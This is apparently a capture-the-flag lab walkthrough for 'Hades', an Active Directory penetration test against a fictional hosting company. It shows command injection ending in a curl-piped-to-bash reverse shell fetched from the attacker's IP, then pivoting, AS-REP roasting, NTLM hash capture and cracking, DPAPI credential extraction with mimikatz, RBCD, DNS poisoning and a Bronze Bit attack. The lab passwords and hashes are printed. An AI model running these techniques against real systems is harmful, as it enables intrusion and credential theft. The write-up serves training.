Hades
Hades
Classification: Official
Description
Gigantic Hosting are a leading website hosting and SSL certificate provider.
The company is concerned that any breach could result in downtime, the compromise of
thousands of websites, and lead to millions of security certificates being revoked. Therefore, they
have proactively engaged the services of a penetration testing firm to assess their security.
Hades is designed to put your skills in Active Directory enumeration & exploitation, lateral
movement, and privilege escalation to the test within a small enterprise network.
The goal is to gain a foothold on the internal network, escalate privileges and ultimately
compromise the domain while collecting several flags along the way.
Enumeration
Nmap
The Nmap scan of the entry point revealed a single open port running Apache over HTTPS.
Chasm
Let's browse to the website for further enumeration.
All pages appear to be static apart from the SSL Tools tab.
This page allows us to specify an IP address and retrieve its SSL certificate. Let's try to request our
own IP address and see if we can retrieve some information. As the client is using SSL, we can't
just view the HTTP data directly. A tool such as mitmproxy can be used to sniff traffic.
The command above starts a proxy on port 443 and forwards all traffic back to the host. Return
to the page and enter your IP address.
As we can see, mitmproxy proxied the HTTPS traffic to the server. Checking back on the
command line we should be able to see the plaintext HTTP headers.
The User-Agent header suggests that the client is the command line tool cURL . This means that
the output on the page is cURL's standard output. We can confirm this by repeating the same
request locally.
The image above shows the exact same output as on the target server.
Now that we know how the application functions, let's try to exploit it. It's highly likely that the
application takes in user input and then invokes a function such as system().
For example:
We could potentially inject shell commands if the user input isn't sanitized. Let's try sending
10.14.14.3;ls and see if we can view the output for ls .
The server failed to return any results and we didn't receive an HTTP request either. The same
behavior is observed when using && or || to inject commands. It's possible that the server has
blacklisted these characters.
10.14.14.3/$(whoami)
This time we received output, which is a good sign. Checking back on mitmdump we see a request
to /www-data .
The command whoami was successfully evaluated to www-data , and we have successfully
validated the vulnerability. Now that we know how to execute commands, let's try to get a reverse
shell. Create a file named index.html with the following reverse shell.
Start an HTTP server on port 80 and enter the following payload to execute the shell.
10.14.14.3/$(curl 10.14.14.3|bash)
It downloads the shell from our server and then pipes it to bash for execution. However, sending
the request fails to return a shell. It could be that space is also a blacklisted character. A special
variable used by the shell is $IFS or Internal Field Separator . This variable is used to
determine how the shell parses strings. The default for $IFS is set to <space><tab><newline> .
We can make use of this variable to inject spaces.
10.14.14.3/$(curl${IFS}10.14.14.3|bash)
cd /tmp
wget http://10.14.14.3/nmap
chmod +x nmap
./nmap -T4 -sn 192.168.*.*
The scan finds a couple of hosts in the 192.168.3.* network. Let's initiate a port scan for the
192.168.3.1/24 subnet, looking for common open ports such as 22 (SSH), 53 (DNS), 80 (HTTPS),
88 (Kerberos), 445 (SMB) and (5985) WinRM.
The -n flag disables DNS name resolution, while -Pn disables ICMP-based discovery.
The scan revealed three hosts, which all appear to be running Windows. The host
192.168.3.202 could be a web server as it has HTTP open. The last host 192.168.3.203 has
both Kerberos and DNS services running, which makes it a good candidate for a Domain
Controller. Let's deploy a reverse socks proxy using chisel, so we can enumerate the hosts from
our box.
wget 10.14.14.3/chisel
./chisel client http://10.14.14.3:8080 R:0.0.0.0:1080:socks &
We can now use this proxy by entering the following configuration in /etc/proxychains.conf :
[ProxyList]
socks5 127.0.0.1 1080
Let's take a look at the web server on 192.168.3.202 to see if it has anything interesting.
Configure the browser to use 127.0.0.1:8080 as the proxy.
The server returned a 401 Unauthorized error. According to the error, it's possible that the server
only allows IIS integrated authentication. According to the documentation, this mechanism
supports authentication via NTLM or Kerberos. This means we'll need valid credentials to access
the service.
We can try enumerating the domain via LDAP anonymous bind, as we don't have credentials
currently. The tool windapsearch can be used to achieve this.
However, the enumeration failed as the server denied the anonymous bind. This means we will
need valid credentials to move further.
Let's try enumerating potential users in the domain with the help of Kerbrute. This tool attempts
to discover valid usernames using the Kerberos protocol, which is much faster and stealthier
than SMB. We will use the names.txt username list from SecLists for the bruteforce.
Transfer the tool and wordlist to the box, as the bruteforce will be faster from within the local
network.
wget 10.14.14.3/names.txt
wget 10.14.14.3/kerbrute
chmod +x kerbrute
./kerbrute userenum names.txt -d htb.local --dc 192.168.3.203
It found two valid usernames, i.e. bob and dev . We can now go ahead and try to bruteforce the
passwords for these accounts. However, before doing that it's worth checking out if any of these
accounts have Kerberos pre-authentication disabled.
Each time an object authenticates to the domain over Kerberos, a timestamp is encrypted with
the user's password and sent to the DC (known as AS-REQ). The DC then decrypts this data to
determine if the password is correct is not. After this the DC responds with an AS-REP, a part of
which is encrypted with the user's password. This process is known as pre-authentication, and
serves as a protection against online bruteforce.
However, in the event where a user's pre-authentication is disabled, any user can send an AS-REQ
request for the account and receive its AS-REP data. This data can then be subjected to an offline
bruteforce attack where we can attempt to crack the user's password. This technique is known as
AS-REP Roasting.
We can use Impacket's GetNPUsers.py script to check if the two users have this property
disabled.
The password for Bob is revealed to be Passw0rd1! . Using CME, we can check if this user has
access to any shares in the domain.
Once the JSON files are created, import the data into Bloodhound UI.
There's just one domain administrator and no attack chains have been identified that would
allow us to take over this account.
Let's move on and continue enumerating the hosts. One potential service that could be leveraged
to escalate privileges in the domain is the Spooler service. This service allows triggering
authentication as the computer account of the host it's running on. This can then be relayed or
cracked.
We can check if the spooler service is running using the rpcdump.py script.
The DEV box is found to be running the Spooler service. Checking on BloodHound we see that
the host DEV has no special privileges in the domain.
However, it's still possible to capture the NetNTLM hash and crack it. We can use the online utility
crack.sh to crack this hash. It looks the hash up in a rainbow table and returns the NTLM/RC4
hash if cracked. The RC4 hash can then be used to authenticate to the domain.
The printerbug script can be used to trigger authentication from the spool service. We will also
setup Responder to capture the incoming hashes. Before running Responder, the
Responder.conf configuration should be edited to use the challenge 1122334455667788 as
instructed here.
; Custom challenge.
; Use "Random" for generating a random challenge for each requests (Default)
Challenge = 1122334455667788
The --lm argument is specified in order to attempt to downgrade the incoming authentication to
Net-NTLMv1, as it's easier to crack. Next, issue the command below to trigger the authentication,
replacing 10.14.14.3 with your IP address as appropriate.
The hash should be submitted in the form NTHASH:Response , which in this case will be
NTHASH:B15FD5FCC5DD7BC320A2E701816CC55BF7C7C052D0E1D847 .
Enter your email address and click on submit . An email should be received soon with the key.
Crack.sh has successfully completed its attack against your NETNTLM handshake.
The NT hash for the handshake is included below, and can be plugged back into
the 'chapcrack' tool to decrypt a packet capture, or to authenticate to the
server:
Token:
$NETNTLM$1122334455667788$B15FD5FCC5DD7BC320A2E701816CC55BF7C7C052D0E1D847
Key: e9a7807a58f026ebded8c0afab4f197a
This key is the NTLM hash for the DEV$ computer account. We can use this hash to perform an
S4U2Self attack using Rubeus and impersonate the domain administrator. This will have to be
done from a Windows host. A tool such as redsocks can be used to stand up a transparent proxy
in order to redirect traffic to the SOCKS proxy. Create a file named redsocks.conf with the
following contents:
base {
log_debug = on;
log_info = on;
log = stderr;
daemon = off;
redirector = iptables;
}
redsocks {
local_ip = 0.0.0.0;
local_port = 12345;
ip = 127.0.0.1;
port = 1080;
type = socks5;
}
This will redirect all traffic towards port 12345 to the socks port. Next, enter the following
commands to setup iptables redirection.
Finally, switch to the Windows host and add a route pointing to the Linux host.
We can now access the 192.168.3.1/24 subnet from Windows. Add the following entries to the
hosts file.
We request a ticket for the HTTP/DEV.HTB.LOCAL service, which will allow us to WinRM to the
host. The /self argument specifies that we're using S4U2Self to impersonate the user.
After this, the ticket should be auto-imported into our cache. We can use the Enter-PSSession
cmdlet to login to the box.
We now have a session on DEV as administrator and can use it to read the flag.
Resurrection
Let's check if there are any logged on users using the qwinsta command.
We don't see any logged in users to steal hashes from. Another thing worth enumerating is the
presence of Volume Shadow Copies. These are popularly used to create disk snapshots to quickly
backup data inn order to recover from future data corruption or loss. Issue the following
commands to list shadow copies.
We find that a shadow copy does exist and was created in 2019. The mklink command can be
used to create a symlink and expose this volume.
This will let us access the entire snapshot from the C:\VSS folder.
As we can see, there were no other users even at the time of the snapshot creation. We can check
if there are any DPAPI encrypted credentials in the Administrator's folder. These credentials are
commonly found in the %appdata%\Microsoft\Credentials and
%localappdata%\Microsoft\Credentials folders.
We see a couple of credential blobs within the Administrator's AppData\Roaming folder in the
snapshot. Additionally, it's found that these credential files are not present in the current file
system.
It's possible that they might contain sensitive credentials. Let's transfer and decrypt these
credential blobs locally. The Copy-Item cmdlet can be used to transfer files from the session.
First, we need to unhide both files as they're hidden by default.
cd \users\public
copy
C:\VSS\Users\Administrator\AppData\Roaming\Microsoft\Credentials\4A2EEB30EFC7958
491B6578D9948EC7F .
copy
C:\VSS\Users\Administrator\AppData\Roaming\Microsoft\Credentials\1A2572C793495F6
94F64823A392D4718 .
cmd /c "attrib -h -s 4A2EEB30EFC7958491B6578D9948EC7F"
cmd /c "attrib -h -s 1A2572C793495F694F64823A392D4718"
We now need to identify the masterkeys associated with these credentials. Let's use mimikatz to
do this.
dpapi::cred /in:1A2572C793495F694F64823A392D4718
dpapi::cred /in:4A2EEB30EFC7958491B6578D9948EC7F
We find that both blobs are associated with the masterkey named as the GUID 87790867-a883-
4a2d-a467-019c315e1104 . Masterkeys for users are usually stored in the
%appdata%\microsoft\protect\<SID> folder.
Next, let's transfer the key locally using the same process as for the other files.
copy C:\VSS\Users\Administrator\AppData\Roaming\Microsoft\Protect\S-1-5-21-
4124311166-4116374192-336467615-500\87790867-a883-4a2d-a467-019c315e1104 .
cmd /c "attrib -s -h 87790867-a883-4a2d-a467-019c315e1104"
copy-item -Force -FromSession $session -Path "C:\Users\Public\87790867-a883-
4a2d-a467-019c315e1104" -Destination .
The credentials are encrypted with the masterkey in combination with the user's password. This
means that we'll need the plaintext password for the local Administrator account. Let's copy the
SAM and SYSTEM hives from the exposed shadow copy (as the password may since have
changed) in order for us to dump the NTLM hashes from it. We can transfer them directly as
they're not hidden.
We can now use the Mimikatz lsadump::sam module locally to dump the hashes.
The hash is successfully cracked and the corresponding plaintext password is revealed to be
./*40ra26AZ . We now have everything required in order to decrypt the credentials.
dpapi::masterkey /in:87790867-a883-4a2d-a467-019c315e1104
/password:"./*40ra26AZ" /sid:S-1-5-21-4124311166-4116374192-336467615-500
The command above will decrypt the masterkey and place it in the cache. We can now decrypt
the credential blobs.
The GenericAll privileges allow us to read and write to the attributes of the WEB domain object.
One common way to leverage this is by configuring Resource Based Constrained Delegation
(RBCD) for the object. RBCD allows an object to impersonate any user while authenticating to a
particular service on the target. With the ability to modify the computer object's properties, we
can configure RBCD and impersonate any user in the domain.
The rbcd-attack toolkit can be used to do it from our Linux box. First, we'll add a computer
account which will have impersonation rights over WEB .
The command above adds the computer account pwn1$ to the domain, with the password
test123! . Next, we use the rbcd.py script to configure RBCD privileges.
The command above requests the domain administrator's ticket for the CIFS service on WEB .
However, the attack failed and the ticket wasn't received. According to the error, it's possible that
the administrator account cannot be delegated. Checking on BloodHound it's found that this is
indeed the case.
The Account is sensitive and cannot be delegated setting has been enabled on the
administrator account. Additionally, the account is also a member of the Protected Users
group. This means that we'll have to find another to user to delegate.
We already know about the web service running on the WEB host. This was found to allow
integrated authentication only. Looking at the non-default domain groups, a group named
Operations is seen.
This group has a single member named Lee . It's possible that this is a group with privileged
access to the HTTP service on WEB . Let's impersonate lee and see if they can access the web
server. Switch to the Windows host, as we'll need Kerberos authentication. First, generate a hash
for the password using the Rubeus hash command.
After this, the ticket should be imported into the cache. Next, we'll need to configure Firefox to
use Kerberos authentication. Enter about:config in the URL bar, hit return, and search for
negotiate . In the network.negotiate-auth.trusted-uris field, enter
web.htb.local,.htb.local .
This is found to contain credentials for a remote_user account, which could potentially be used
for PS Remoting. Let's try to login to the host using these credentials.
According to the Wireshark documentation, it's possible for low privileged users to capture traffic
if the WinPcap driver is running already. Let's check if the npcap service is loaded and running by
querying its registry key.
The Start value is set to 1 i.e. System. This means the driver loaded by default at boot. We can
use the command-line utility tshark.exe to capture traffi
Kill the shell after a few minutes and then transfer the file locally with the following commands:
The capture is found to have a few DNS queries for the hosts db1.htb.local , db2.htb.local
and db3.htb.local . Additionally, the lookup is triggered from the 192.168.3.202 host, i.e.
WEB . Let's check if these hosts have DNS entries.
It appears that there are no DNS records for these hosts. Authenticated domain users are
allowed to add DNS records for non-existing hosts. This doesn't require any special privileges and
is effective instantly.
If we manage to add a DNS record pointing to our IP address. The host db1.htb.local will
ultimately resolve to our IP address and all requests will be forwarded to us. This might let us
capture NetNTLM hashes and other traffic.
The Powermad script can be used to add a new DNS record. Issue the following commands
locally:
iex(https://raw.githubusercontent.com/Kevin-
Robertson/Powermad/master/Powermad.ps1 -useb)
$pass = ConvertTo-SecureString 'FZg28$dJe*Hx7c' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('htb\remote_user',
$pass)
New-ADIDNSNode -Node db1 -Data 10.14.14.3 -DomainController dc1.htb.local -
Domain htb.local -Zone htb.local -Credential $cred -Forest htb.local -Verbose
This will add a DNS record for db1.htb.local pointing to our IP address. We can confirm that
this was successful by performing another nslookup on the box.
Next, start Responder on the Linux host so that we can capture any incoming hashes.
Responder -I tun0
We obtained the Net-NTLMv2 hash for the WEB local administrator account. Let's try cracking this
using hashcat.
hashcat -m 5600 -a 0 admin_web.hash /usr/share/wordlists/rockyou.txt
The wordlist was exhausted and the password failed to crack. Let's try using some common
cracking rules such as d3ad0ne . This will perform various mutations on the words and increase
our chance of success.
The password was cracked successfully and revealed to be Myp@ssw0rd . Let's try logging into the
host using psexec.
The authentication succeeds but we're denied service access as the Administrator is a protected
user. We can instead request a ticket and authenticate via Kerberos.
The vulnerability allows us to forge a forwardable ticket for any user, even if they're protected.
We also satisfy the requirement for service credentials as we've configured RBCD for PWN1. Let's
try exploiting this vulnerability using Rubeus. Make sure you have the latest version of Rubeus.
As we can see, the impersonation failed because the administrator is marked as sensitive. Next,
run the command but with the /bronzebit flag.